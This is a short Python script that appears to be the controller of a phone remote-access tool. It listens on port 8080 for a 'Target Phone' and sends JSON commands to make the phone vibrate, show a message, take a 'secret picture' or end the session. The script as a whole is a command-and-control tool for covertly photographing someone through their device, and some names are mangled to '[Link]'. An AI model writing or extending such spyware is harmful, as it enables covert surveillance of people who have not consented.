import socket, json
# This tells your phone to listen to anyone on the same Wi-Fi
IP = '[Link]'
PORT = 8080
def start_controller():
# Create the listener
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((IP, PORT))
[Link](1)
print(f"[*] Base Station Active. Waiting for Robot on port {PORT}...")
# Wait for the other phone to connect
conn, addr = [Link]()
print(f"[+] SUCCESS! Connected to Target Phone: {addr}")
while True:
print("\n--- COMMAND MENU ---")
print("1. vibrate (Make it shake)")
print("2. toast (Show a message)")
print("3. photo (Take a secret picture)")
print("4. exit (Close connection)")
choice = input("\nSelect a command: ").lower()
if choice == 'vibrate':
msg = [Link]({"action": "vibrate"})
elif choice == 'toast':
text = input("What should the message say? ")
msg = [Link]({"action": "toast", "message": text})
elif choice == 'photo':
msg = [Link]({"action": "photo"})
elif choice == 'exit':
[Link]([Link]({"action": "kill"}).encode())
break
else:
continue
[Link]([Link]())
print("[*] Command sent!")
if __name__ == "__main__":
start_controller()